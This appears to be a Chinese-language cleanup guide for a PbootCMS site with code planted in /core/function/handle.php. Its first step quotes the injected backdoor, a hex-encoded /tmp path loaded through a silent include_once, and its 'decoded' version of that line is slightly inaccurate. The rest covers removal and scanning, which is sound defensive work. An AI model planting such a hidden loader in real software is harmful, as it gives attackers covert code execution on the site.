针对PbootCMS网站突然变慢的问题,并且发现/core/function/handle.php
文件中被植入了可疑代码的情况,您可以按照以下步骤进行排查和解决:
1. 确认网站被植入恶意代码
- 检查文件修改时间:
- 使用FTP客户端或服务器管理面板,检查
/core/function/handle.php
文件的修改时间,确认是否有异常修改。
- 使用FTP客户端或服务器管理面板,检查
- 对比文件内容:
- 将被修改的文件与原始文件进行对比,找出新增或修改的部分。
- 您已经发现并删除了可疑代码:
$runtime_dir = PACK('H*','2F746D702F2E4943452D756E69782F7169716930'); if(is_file($runtime_dir)){ @INCLUDE_ONCE($runtime_dir); }
转码后为:
$runtime_dir = PACK('H*','/tmp/.ICE-unix/qiqi0'); if(is_file($runtime_dir)){ @INCLUDE_ONCE($runtime_dir); }
2. 清理恶意文件
-
删除可疑文件:
- 根据代码中的路径,删除
/tmp/.ICE-unix/qiqi0
文件。 - 确保删除所有与恶意代码相关的文件。
- 根据代码中的路径,删除
-
扫描整个网站:
- 使用专业的网站安全扫描工具(如ClamAV、Wordfence等)扫描整个网站,查找其他可能被植入的恶意文件。